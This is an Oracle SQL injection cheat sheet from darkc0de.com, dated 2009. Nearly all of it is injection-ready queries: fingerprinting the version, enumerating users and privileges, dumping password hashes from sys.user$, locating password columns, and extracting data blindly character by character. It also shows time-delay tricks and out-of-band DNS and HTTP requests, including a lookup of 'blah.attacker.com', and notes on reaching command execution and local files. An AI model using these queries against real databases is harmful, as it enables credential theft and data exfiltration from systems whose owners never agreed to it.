darkc0de.com [ Oracle SQL Injection Cheat Sheet ]

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Last Modified: Tuesday, 22-Sep-2009 10:11:07 EDT

Version	SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance;
Comments	SELECT 1 FROM dual -- comment -- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User	SELECT user FROM dual
List Users	SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; -- priv
List Password Hashes	SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ -- priv, 11g
List Privileges	SELECT * FROM session_privs; -- current privs SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database	SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases	SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user) -- Also query TNS listener for other databases. See tnscmd (services \| status).
List Columns	SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables	SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
Find Tables From Column Name	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth Row	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char	SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND	SELECT bitand(6,2) FROM dual; -- returns 2 SELECT bitand(6,1) FROM dual; -- returns0
ASCII Value -> Char	SELECT chr(65) FROM dual; -- returns A
Char -> ASCII Value	SELECT ascii('A') FROM dual; -- returns 65
Casting	SELECT CAST(1 AS char) FROM dual; SELECT CAST('1' AS int) FROM dual;
String Concatenation	SELECT 'A' \|\| 'B' FROM dual; -- returns AB
If Statement	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes	SELECT chr(65) \|\| chr(66) FROM dual; -- returns AB
Time Delay	BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow -- Also see Heavy Queries to create a time delay
Make DNS Requests	SELECT UTL_INADDR.get_host_address('google.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution	Java can be used to execute commands if it's installed. ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access	UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir'; Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address	SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
Location of DB files	SELECT name FROM V$DATAFILE;

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